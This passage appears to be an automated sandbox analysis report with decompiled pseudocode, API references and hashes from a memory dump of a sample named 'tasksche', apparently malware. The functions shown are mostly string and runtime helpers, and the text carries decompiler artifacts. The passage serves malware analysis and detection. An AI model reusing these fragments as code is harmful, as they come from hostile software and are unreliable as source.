				void* _t52;
				void* _t55;
				intOrPtr* _t57;
				short* _t58;
				void* _t63;
				signed int _t68;
				void* _t72;
				intOrPtr _t73;
				signed int _t75;

				E0041AAF0(0x2014);
				_t57 = __ecx;
				if( *__ecx == 0) {
					L21:
					_t25 = _a8;
					if(_a4 == _t25) {
						L23:
						return _t25;
					}
					return E0041A7F7(_t25, _a4);
				}
				_t28 = _a16;
				_t63 = 0x42a73a;
				if(_t28 == 0) {
					_t63 = 0x42a730;
				} else {
					_t55 = _t28 - 1;
					if(_t55 == 0) {
						_t63 = 0x42a734;
					} else {
						if(_t55 == 1) {
							_t63 = 0x42a738;
						}
					}
				}
				_t72 = E00405610(0xffffffff, _t63, 1);
				if(_a20 != 0) {
					E00411AFD(_t63, _a20,  &_v8216, 0x1000);
					_t52 = E0041AA60( &_v8216);
					_pop(_t63);
					_t72 = E00405610(_t72,  &_v8216, _t52);
				}
				E00411AFD(_t63, _a4,  &_v4120, 0x1000);
				_v25 = 0;
				E0040BC16( &_v24, 0xa, 0x42a724,  !(E00405610(_t72,  &_v4120, E0041AA60( &_v4120))));
				_t40 = E0040BB89(_t57,  &_v24);
				if(_t40 == 0) {
					goto L21;
				} else {
					_t14 = _t40 + 0x12; // 0x12
					_t58 = _t14;
					if( *_t58 == 0x22) {
						_t58 = _t58 + 2;
					}
					_t41 = E0041CA29(_t58, 0xc);
					if(_t41 == 0) {
						_t75 = 0xff;
					} else {
						_t75 = _t41 - _t58 >> 1;
					}
					_t42 = _a12;
					_t16 = _t42 - 1; // 0x4118d7
					_t68 = _t16;
					if(_t75 > _t68) {
						asm("sbb eax, eax");
						_t75 =  ~_t42 & _t68;
					}
					_t73 = _a8;
					if(_t75 > 0) {
						E0041C853(_t73, _t58, _t75);
					}
					 *((short*)(_t73 + _t75 * 2)) = 0;
					_t25 = E0041CA4F(_t73, 0x22);
					if(_t25 == 0) {
						goto L23;
					} else {
						 *_t25 = 0;
						return _t25;
					}
				}
			}

0x0040bf25
0x0040bf2b
0x0040bf32
0x0040c05b
0x0040c05b
0x0040c061
0x0040c072
0x0040c072
0x0040c072
0x00000000
0x0040c06d
0x0040bf3b
0x0040bf3e
0x0040bf43
0x0040bf59
0x0040bf45
0x0040bf45
0x0040bf46
0x0040bf52
0x0040bf48
0x0040bf49
0x0040bf4b
0x0040bf4b
0x0040bf49
0x0040bf46
0x0040bf6c
0x0040bf73
0x0040bf80
0x0040bf8c
0x0040bf91
0x0040bfa0
0x0040bfa0
0x0040bfad
0x0040bfb9
0x0040bfdf
0x0040bfed
0x0040bff4
0x00000000
0x0040bff6
0x0040bff6
0x0040bff6
0x0040bffd
0x0040c000
0x0040c000
0x0040c004
0x0040c00d
0x0040c017
0x0040c00f
0x0040c013
0x0040c013
0x0040c01c
0x0040c01f
0x0040c01f
0x0040c024
0x0040c028
0x0040c02c
0x0040c02c
0x0040c02e
0x0040c033
0x0040c038
0x0040c03d
0x0040c045
0x0040c049
0x0040c052
0x00000000
0x0040c054
0x0040c056
0x00000000
0x0040c056
0x0040c052

APIs

_strlen.LIBCMT ref: 0040BF8C
_strlen.LIBCMT ref: 0040BFBD
_swprintf.LIBCMT ref: 0040BFDF
_wcschr.LIBCMT ref: 0040C004
_wcsncpy.LIBCMT ref: 0040C038
_wcsrchr.LIBCMT ref: 0040C049
_wcscpy.LIBCMT ref: 0040C067

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _strlen$_swprintf_wcschr_wcscpy_wcsncpy_wcsrchr
String ID:
API String ID: 3224783807-0
Opcode ID: 2200e9e523ffbcd5ccc4f85804e7305beb7f218704d283e0c38cbcae486b8257
Instruction ID: 07d0537aec3a1dd66ebb0c57739ff8632de72c66deae5d09d2d4ff76284a4df6
Opcode Fuzzy Hash: 2200e9e523ffbcd5ccc4f85804e7305beb7f218704d283e0c38cbcae486b8257
Instruction Fuzzy Hash: 4841E832500219AADB24AB64CC85AFF32ACDF40754F54413BB915E71C1DB7DDD80C6AE

Uniqueness

Uniqueness Score: -1.00%

Function 0040D92D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D92D(intOrPtr* __edi, void* __eflags) {
				char _v5;
				char _v8200;
				void* __ebx;
				void* __esi;
				intOrPtr _t18;
				short* _t28;
				void* _t31;
				signed int _t32;
				void* _t39;
				intOrPtr* _t41;
				short* _t42;
				void* _t43;

				_t41 = __edi;
				E0041AAF0(0x2004);
				_t42 = E0041CF3E(_t31, _t39, __edi, 0x20000);
				if(_t42 == 0) {
					E004063CE(0x4335ac);
				}
				 *_t42 = 0;
				_t32 = 0;
				while(1) {
					_t18 = E0040D781(0,  &_v8200, _t42,  *_t41, 0,  &_v5, 0x1000);
					 *_t41 = _t18;
					if(_t18 == 0) {
						break;
					}
					if( *_t42 != 0 || _v8200 != 0x7b) {
						if(_v8200 == 0x7d || E0041A7AF( &_v8200) + _t32 > 0xfffb) {
							break;
						} else {
							E0041A7C9(_t42,  &_v8200);
							_t32 = E0041A7AF(_t42);
							_t43 = _t43 + 0xc;
							if(_t32 <= 0) {
								L11:
								if(_v5 == 0) {
									E0041A7F7(_t42 + _t32 * 2, 0x42a810);
								}
								continue;
							}
							_t6 = _t32 * 2; // -2
							_t28 = _t42 + _t6 - 2;
							while( *_t28 == 0x20) {
								_t32 = _t32 - 1;
								_t28 = _t28;
								if(_t32 > 0) {
									continue;
								}
								goto L11;
							}
							goto L11;
						}
					} else {
						continue;
					}
				}
				return _t42;
			}

0x0040d92d
0x0040d935
0x0040d946
0x0040d94b
0x0040d952
0x0040d952
0x0040d959
0x0040d95c
0x0040d9d3
0x0040d9e8
0x0040d9ed
0x0040d9f1
0x00000000
0x00000000
0x0040d964
0x0040d978
0x00000000
0x0040d990
0x0040d998
0x0040d9a3
0x0040d9a5
0x0040d9aa
0x0040d9bd
0x0040d9c1
0x0040d9cc
0x0040d9d2
0x00000000
0x0040d9c1
0x0040d9ac
0x0040d9ac
0x0040d9b0
0x0040d9b6
0x0040d9b8
0x0040d9bb
0x00000000
0x00000000
0x00000000
0x0040d9bb
0x00000000
0x0040d9b0
0x00000000
0x00000000
0x00000000
0x0040d964
0x0040d9fc

APIs

_malloc.LIBCMT ref: 0040D941

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcslen.LIBCMT ref: 0040D981
_wcscat.LIBCMT ref: 0040D998
_wcslen.LIBCMT ref: 0040D99E
_wcscpy.LIBCMT ref: 0040D9CC

Strings

}, xrefs: 0040D970

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$AllocateHeap_malloc_wcscat_wcscpy
String ID: }
API String ID: 2020890722-4239843852
Opcode ID: 87a1d4075c0fbabaaf42ee75a1288eb88e4c448287557cbd43c96a9187b86b14
Instruction ID: a9b9a9eb170ff11f00d7125a4cd00596761e48c06437fb6caf1dcbb108c8f9f0
Opcode Fuzzy Hash: 87a1d4075c0fbabaaf42ee75a1288eb88e4c448287557cbd43c96a9187b86b14
Instruction Fuzzy Hash: 6111B771D0131A59EB25ABE08CC57DB72B8DF00354F10007BE645E22D1EBBC9A99C39D

Uniqueness

Uniqueness Score: -1.00%

Function 004191D8 Relevance: 9.1, APIs: 6, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004191D8(void* __ebx, void* __eflags, short* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __edi;
				void* __esi;
				void* __ebp;
				short* _t32;
				signed int _t33;
				signed int _t41;
				void* _t51;
				void* _t52;
				short* _t53;
				short* _t55;
				short* _t57;

				_push(_t43);
				_t57 = _a4;
				_push(_t52);
				_t53 = E0041CF3E(__ebx, _t51, _t52, 0x200 + E0041A7AF(_t57) * 0xc);
				_v12 = _t53;
				if(_t53 != 0) {
					_push(__ebx);
					E0041A7F7(_t53, 0x42af30);
					_t41 = E0041A7AF(_t53);
					__eflags =  *_t57;
					while(__eflags != 0) {
						_t33 = E00411E81(__eflags, _t57, 0x42af24, 4);
						__eflags = _t33;
						if(_t33 != 0) {
							__eflags = _t57 - _a4;
							if(_t57 <= _a4) {
								L13:
								 *((short*)(_t53 + _t41 * 2)) =  *_t57;
								_t41 = _t41 + 1;
								__eflags = _t41;
							} else {
								__eflags =  *_t57 - 0x20;
								if( *_t57 != 0x20) {
									goto L13;
								} else {
									__eflags =  *((short*)(_t57 - 2)) - 0x20;
									if( *((short*)(_t57 - 2)) != 0x20) {
										goto L13;
									} else {
										E0041A7F7(_t53 + _t41 * 2, 0x42af14);
										_t41 = _t41 + 6;
									}
								}
							}
						} else {
							_t55 = _t57 + 4;
							__eflags =  *_t55 - 0xd;
							if( *_t55 == 0xd) {
								_v8 = _v12 + _t41 * 2;
								while(1) {
									__eflags =  *((short*)(_t57 + 6)) - 0xa;
									if( *((short*)(_t57 + 6)) != 0xa) {
										goto L8;
									}
									E0041A7F7(_v8, 0x42a9c4);
									_v8 = _v8 + 8;
									_t57 = _t55;
									_t55 = _t57 + 4;
									_t41 = _t41 + 4;
									__eflags =  *_t55 - 0xd;
									if( *_t55 == 0xd) {
										continue;
									}
									goto L8;
								}
							}
							L8:
							_t53 = _v12;
							_t57 = _t57 + 2;
						}
						_t57 = _t57 + 2;
						__eflags =  *_t57;
					}
					_push(_a4);
					__eflags = 0;
					 *((short*)(_t53 + _t41 * 2)) = 0;
					E0041A506(_t41, _t53, _t57, 0);
					_t32 = _t53;
				} else {
					_t32 = _t57;
				}
				return _t32;
			}

0x004191dc
0x004191de
0x004191e1
0x004191f6
0x004191fa
0x004191ff
0x00419208
0x0041920f
0x0041921a
0x00419221
0x00419225
0x00419233
0x00419238
0x0041923a
0x0041927d
0x00419280
0x004192a4
0x004192a7
0x004192ab
0x004192ab
0x00419282
0x00419282
0x00419286
0x00000000
0x00419288
0x00419288
0x0041928d
0x00000000
0x0041928f
0x00419298
0x0041929f
0x0041929f
0x0041928d
0x00419286
0x0041923c
0x0041923c
0x0041923f
0x00419243
0x0041924b
0x0041924e
0x0041924e
0x00419253
0x00000000
0x00000000
0x0041925d
0x00419262
0x00419266
0x00419268
0x0041926c
0x0041926f
0x00419274
0x00000000
0x00000000
0x00000000
0x00419274
0x0041924e
0x00419276
0x00419276
0x0041927a
0x0041927a
0x004192ad
0x004192ae
0x004192ae
0x004192b8
0x004192bb
0x004192bd
0x004192c1
0x004192c7
0x00419201
0x00419201
0x00419201
0x004192cd

APIs

_wcslen.LIBCMT ref: 004191E3
_malloc.LIBCMT ref: 004191F1

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcscpy.LIBCMT ref: 0041920F
_wcslen.LIBCMT ref: 00419215
_wcscpy.LIBCMT ref: 0041925D

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy_wcslen$AllocateHeap_malloc
String ID:
API String ID: 2405444336-0
Opcode ID: 4b4a1cae5e7a93affbfc5e59a2b65d92d146fa889393bb29aeeeda0ea8609ab4
Instruction ID: 0e02d37120f5dc5c9773bcbd7ae744d1444ccd80410fa70afd17435bf81929d8
Opcode Fuzzy Hash: 4b4a1cae5e7a93affbfc5e59a2b65d92d146fa889393bb29aeeeda0ea8609ab4
Instruction Fuzzy Hash: BF21FB76904304BBDB20AB54DC41ADAB3B4EF45314B20445BE455A7390E7BC9ED1839E

Uniqueness

Uniqueness Score: -1.00%

Function 0041DD85 Relevance: 9.0, APIs: 6, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E0041DD85(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t48;
				intOrPtr _t57;
				void* _t58;
				void* _t61;

				_t61 = __eflags;
				_t53 = __edx;
				_push(0x2c);
				_push(0x42d800);
				E0041FA9C(__ebx, __edi, __esi);
				_t48 = __ecx;
				_t55 =  *((intOrPtr*)(_t58 + 0xc));
				_t57 =  *((intOrPtr*)(_t58 + 8));
				 *((intOrPtr*)(_t58 - 0x1c)) = __ecx;
				 *(_t58 - 0x34) =  *(_t58 - 0x34) & 0x00000000;
				 *((intOrPtr*)(_t58 - 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc)) - 4));
				 *((intOrPtr*)(_t58 - 0x28)) = E0041A3D6(_t58 - 0x3c,  *((intOrPtr*)(_t57 + 0x18)));
				 *((intOrPtr*)(_t58 - 0x2c)) =  *((intOrPtr*)(E0041E9B4(__ecx, __edx, _t55, _t61) + 0x88));
				 *((intOrPtr*)(_t58 - 0x30)) =  *((intOrPtr*)(E0041E9B4(_t48, __edx, _t55, _t61) + 0x8c));
				 *((intOrPtr*)(E0041E9B4(_t48, _t53, _t55, _t61) + 0x88)) = _t57;
				 *((intOrPtr*)(E0041E9B4(_t48, _t53, _t55, _t61) + 0x8c)) =  *((intOrPtr*)(_t58 + 0x10));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *((intOrPtr*)(_t58 + 0x10)) = 1;
				 *(_t58 - 4) = 1;
				 *((intOrPtr*)(_t58 - 0x1c)) = E0041A47B(_t55,  *((intOrPtr*)(_t58 + 0x14)), _t48,  *((intOrPtr*)(_t58 + 0x18)),  *((intOrPtr*)(_t58 + 0x1c)));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *(_t58 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				E0041DEAB(_t48, _t53, _t55, _t57, _t61);
				return E0041FAE1( *((intOrPtr*)(_t58 - 0x1c)));
			}

0x0041dd85
0x0041dd85
0x0041dd85
0x0041dd87
0x0041dd8c
0x0041dd91
0x0041dd93
0x0041dd96
0x0041dd99
0x0041dd9c
0x0041dda3
0x0041ddb4
0x0041ddc2
0x0041ddd0
0x0041ddd8
0x0041dde6
0x0041ddec
0x0041ddf3
0x0041ddf6
0x0041de0c
0x0041de0f
0x0041de84
0x0041de8b
0x0041de92
0x0041de9f

APIs

__CreateFrameInfo.LIBCMT ref: 0041DDAD

Part of subcall function 0041A3D6: __getptd.LIBCMT ref: 0041A3E4
Part of subcall function 0041A3D6: __getptd.LIBCMT ref: 0041A3F2

__getptd.LIBCMT ref: 0041DDB7

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DDC5
__getptd.LIBCMT ref: 0041DDD3
__getptd.LIBCMT ref: 0041DDDE
_CallCatchBlock2.LIBCMT ref: 0041DE04

Part of subcall function 0041A47B: __CallSettingFrame@12.LIBCMT ref: 0041A4C7

Part of subcall function 0041DEAB: __getptd.LIBCMT ref: 0041DEBA
Part of subcall function 0041DEAB: __getptd.LIBCMT ref: 0041DEC8

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 5eb10d2cb4eb5e2da6c5453d1fe4c56248c4e16d68a7da2668f442ad0aab7930
Instruction ID: e3df1943845817192d3dafa627097d3dc4affc0cfff12b6418408f9c93a4c95a
Opcode Fuzzy Hash: 5eb10d2cb4eb5e2da6c5453d1fe4c56248c4e16d68a7da2668f442ad0aab7930
Instruction Fuzzy Hash: 9E1126B1D00209DFDF00EFA1C445AED7BB0FF04318F10806AF854AB251DB389A519B59

Uniqueness

Uniqueness Score: -1.00%

Function 00405F3C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00405F3C(intOrPtr __ecx, void* __eflags) {
				void* __edi;
				void* __esi;
				intOrPtr _t31;
				void* _t33;

				E0041A4DC(0x42961b, _t33);
				_push(__ecx);
				_push("\xef\xbf\xb				_push(E00405E1B);
				_push(4);
				_t31 = __ecx;
				_push(0x12c);
				_push(__ecx);
				 *((intOrPtr*)(_t33 - 0x10)) = __ecx;
				E0041C6B6(__ecx, __eflags);
				_push("\xef\xbf\xb				_push(E00405E1B);
				_push(4);
				_push(0x178);
				_t22 = _t31 + 0x4b4;
				_push(_t31 + 0x4b4);
				 *((intOrPtr*)(_t33 - 4)) = 0;
				E0041C6B6(_t31, 0);
				 *((char*)(_t33 - 4)) = 1;
				E0040CA39(_t31 + 0xa9c);
				 *((intOrPtr*)(_t31 + 0xa98)) = 0;
				E0041A820(0, _t31, 0, 0x4b0);
				E0041A820(0, _t22, 0, 0x5e0);
				 *((intOrPtr*)(_t31 + 0x4b0)) = 0;
				 *((intOrPtr*)(_t31 + 0xa94)) = 0;
				E0041A820(0, _t31 + 0xba4, 0, 0x400);
				 *[fs:0x0] =  *((intOrPtr*)(_t33 - 0xc));
				return _t31;
			}

0x00405f41
0x00405f46
0x00405f4a
0x00405f4f
0x00405f54
0x00405f56
0x00405f58
0x00405f5d
0x00405f5e
0x00405f61
0x00405f66
0x00405f6b
0x00405f70
0x00405f72
0x00405f77
0x00405f7f
0x00405f80
0x00405f83
0x00405f8e
0x00405f92
0x00405f9e
0x00405fa4
0x00405fb0
0x00405fc2
0x00405fc8
0x00405fce
0x00405fde
0x00405fe6

APIs

__EH_prolog.LIBCMT ref: 00405F41
_memset.LIBCMT ref: 00405FA4
_memset.LIBCMT ref: 00405FB0
_memset.LIBCMT ref: 00405FCE

Strings

r, xrefs: 00405F4A, 00405F66

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog
String ID: r
API String ID: 3013590873-3291565091
Opcode ID: adb95f05f7a194937a5df8f484bb6bf36145664ded8c6b0a2324601c3f7e7fd4
Instruction ID: fcb346f71e1c6521d09fa93fcec7134e0802dca7d1a5d7d76298086db4932847
Opcode Fuzzy Hash: adb95f05f7a194937a5df8f484bb6bf36145664ded8c6b0a2324601c3f7e7fd4
Instruction Fuzzy Hash: 880144B17417407AD220EB669C46FEBBAA8DB85B18F00041FB255661C2C7FC5941CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 0041DAD4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0041DAD4(void* __edx, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				void* _t23;
				void* _t25;

				_t24 = __edx;
				_t11 =  *((intOrPtr*)( *_a4));
				if(_t11 == 0xe0434f4d) {
					__eflags =  *((intOrPtr*)(E0041E9B4(_t23, __edx, _t25, __eflags) + 0x90));
					if(__eflags > 0) {
						_t15 = E0041E9B4(_t23, __edx, _t25, __eflags) + 0x90;
						 *_t15 =  *_t15 - 1;
						__eflags =  *_t15;
					}
					goto L5;
				} else {
					_t32 = _t11 - 0xe06d7363;
					if(_t11 != 0xe06d7363) {
						L5:
						__eflags = 0;
						return 0;
					} else {
						 *(E0041E9B4(_t23, __edx, _t25, _t32) + 0x90) =  *(_t16 + 0x90) & 0x00000000;
						_push(8);
						_push(0x42d8f0);
						E0041FA9C(_t23, _t25, __esi);
						_t19 =  *((intOrPtr*)(E0041E9B4(_t23, __edx, _t25, _t32) + 0x78));
						if(_t19 != 0) {
							_v8 = _v8 & 0x00000000;
							 *_t19();
							_v8 = 0xfffffffe;
						}
						return E0041FAE1(E00423F89(_t23, _t24, _t25));
					}
				}
			}

0x0041dad4
0x0041dade
0x0041dae5
0x0041db04
0x0041db0b
0x0041db12
0x0041db17
0x0041db17
0x0041db17
0x00000000
0x0041dae7
0x0041dae7
0x0041daec
0x0041db19
0x0041db19
0x0041db1c
0x0041daee
0x0041daf3
0x0041ec8a
0x0041ec8c
0x0041ec91
0x0041ec9b
0x0041eca0
0x0041eca2
0x0041eca6
0x0041ecb1
0x0041ecb1
0x0041ecc2
0x0041ecc2
0x0041daec

APIs

__getptd.LIBCMT ref: 0041DAEE

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DAFF
__getptd.LIBCMT ref: 0041DB0D

Strings

csm, xrefs: 0041DAE7
MOC, xrefs: 0041DAE0

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: ff76af2ab1f2bc655f60c8d28124db9f091a0a07b538bc98cf4441336e04e070
Instruction ID: 7ce874268d128f0e9cc5e4e4439fd54cca852ebc00a18d755191ea46e2ae681e
Opcode Fuzzy Hash: ff76af2ab1f2bc655f60c8d28124db9f091a0a07b538bc98cf4441336e04e070
Instruction Fuzzy Hash: 8EE048755141048FDB50976AC445FA93394EB48318F1504A7E80CC7353D77CE8C0558B

Uniqueness

Uniqueness Score: -1.00%

Function 0040EEC9 Relevance: 7.6, APIs: 5, Instructions: 131COMMON

Download Yara Rule

APIs

Part of subcall function 0040A116: _wcslen.LIBCMT ref: 0040A11C
Part of subcall function 0040A116: _wcscat.LIBCMT ref: 0040A13B

_swprintf.LIBCMT ref: 0040EF22

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

_wcschr.LIBCMT ref: 0040EF77
_wcscpy.LIBCMT ref: 0040EFBB
_wcscpy.LIBCMT ref: 0040EFE4
_wcscpy.LIBCMT ref: 0040EFF7

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$__vswprintf_c_l_swprintf_wcscat_wcschr_wcslen
String ID:
API String ID: 1252250124-0
Opcode ID: f75e7cfbeccc15e09081c60efc06442c44850a7c3c336a2ff36c1e07c701c860
Instruction ID: 7c5ef0a1406295de31e953a15a9408ca88d5d0b5476cb7747de3243763a4baae
Opcode Fuzzy Hash: f75e7cfbeccc15e09081c60efc06442c44850a7c3c336a2ff36c1e07c701c860
Instruction Fuzzy Hash: 325176728001199BDB21DF61DC44BEE77B8FB04308F0445BBEA09E7191E7789AE98F59

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA7D Relevance: 7.6, APIs: 5, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AA7D(void* __eflags, signed short* _a4, short* _a8, intOrPtr _a12) {
				short _t10;
				void* _t13;
				signed int _t14;
				short* _t20;
				void* _t27;
				signed int _t29;
				signed short* _t30;

				_t20 = _a8;
				_t30 = _a4;
				 *_t20 = 0;
				_t10 = E0040A0EA(_t30);
				if(_t10 == 0) {
					_t27 = 0x5c;
					if( *_t30 == _t27 && _t30[1] == _t27) {
						_t5 =  &(_t30[2]); // 0x4
						_t10 = E0041CA29(_t5, _t27);
						if(_t10 != 0) {
							_t13 = E0041CA29(_t10 + 2, _t27);
							if(_t13 == 0) {
								_t14 = E0041A7AF(_t30);
							} else {
								_t14 = (_t13 - _t30 >> 1) + 1;
							}
							_t29 = _t14;
							if(_t29 >= _a12) {
								_t29 = 0;
							}
							E0041C853(_t20, _t30, _t29);
							_t10 = 0;
							 *((short*)(_t20 + _t29 * 2)) = 0;
						}
					}
					return _t10;
				}
				return E0040BC16(_t20, _a12, 0x42a6e4,  *_t30 & 0x0000ffff);
			}

0x0040aa7e
0x0040aa83
0x0040aa8a
0x0040aa8d
0x0040aa94
0x0040aab1
0x0040aab5
0x0040aabd
0x0040aac2
0x0040aacb
0x0040aad2
0x0040aadb
0x0040aae5
0x0040aadd
0x0040aae1
0x0040aae1
0x0040aaeb
0x0040aaf1
0x0040aaf3
0x0040aaf3
0x0040aaf8
0x0040ab00
0x0040ab02
0x0040ab02
0x0040aacb
0x00000000
0x0040ab06
0x00000000

APIs

_swprintf.LIBCMT ref: 0040AAA4

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

_wcschr.LIBCMT ref: 0040AAC2
_wcschr.LIBCMT ref: 0040AAD2
_wcsncpy.LIBCMT ref: 0040AAF8

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf_wcsncpy
String ID:
API String ID: 2474501127-0
Opcode ID: da4b65786035d2197ed7d49f53fcd311549ea47fe36f06ac93baee63d6beaa20
Instruction ID: b4756b8e91951cb7d51e69898c9cc4431ccaeceaeab60524178106c8bdd82eb4
Opcode Fuzzy Hash: da4b65786035d2197ed7d49f53fcd311549ea47fe36f06ac93baee63d6beaa20
Instruction Fuzzy Hash: 8101042320431169DA20EB769C45C6B73ACDFD93A0B00883FF584E31C1EA78D4A0C27B

Uniqueness

Uniqueness Score: -1.00%

Function 00416790 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 381
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00416790(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t176;
				signed int _t179;
				signed int _t180;
				void* _t181;
				signed int _t184;
				signed int _t185;
				signed int _t190;
				signed int _t194;
				signed int _t195;
				intOrPtr _t196;
				signed int _t197;
				signed int _t203;
				signed int _t215;
				signed int _t248;
				signed int _t250;
				intOrPtr* _t263;
				signed int _t264;
				signed int* _t266;
				signed int _t267;
				signed int* _t268;
				signed int* _t269;
				intOrPtr* _t270;
				signed int _t272;
				signed int _t273;
				signed int _t274;
				intOrPtr _t281;
				signed int* _t310;
				void* _t319;
				signed int _t321;
				signed int* _t328;
				signed int _t329;
				void* _t330;
				void* _t332;
				signed int _t334;
				signed int _t335;
				void* _t338;
				signed int _t340;
				signed int _t342;
				void* _t343;
				void* _t345;
				void* _t346;
				void* _t347;
				void* _t349;

				_t319 = __edx;
				E0041A4DC(0x42981f, _t343);
				_t346 = _t345 - 0x24;
				_t332 = __ecx;
				_t263 = __ecx + 0xe694;
				_t176 = 0x8000;
				 *((intOrPtr*)(_t343 - 0x10)) = _t263;
				 *((intOrPtr*)(_t263 + 4)) = 0;
				 *_t263 = 0;
				if( *(_t343 + 0x10) <= 0x8000) {
					_t176 =  *(_t343 + 0x10);
				}
				E0041C290(_t263, 0, _t332,  *((intOrPtr*)(_t332 + 0xe6a0)),  *(_t343 + 0xc), _t176);
				_t347 = _t346 + 0xc;
				 *((intOrPtr*)(_t343 - 0x14)) = _t332 + 0xe65c;
				E0040AB32(_t332 + 0xe65c);
				_t352 =  *(_t343 + 8) & 0x00000080;
				if(( *(_t343 + 8) & 0x00000080) == 0) {
					_t179 =  *(_t332 + 0xe6d4);
					 *(_t343 + 0xc) = _t179;
					_t264 = _t179;
				} else {
					_t264 = E0040AB58(_t352, _t263);
					 *(_t343 + 0xc) = _t264;
					if(_t264 != 0) {
						_t264 = _t264 - 1;
						 *(_t343 + 0xc) = _t264;
					} else {
						E004152CD(_t332, 0);
					}
				}
				_t180 =  *(_t332 + 0xe6a8);
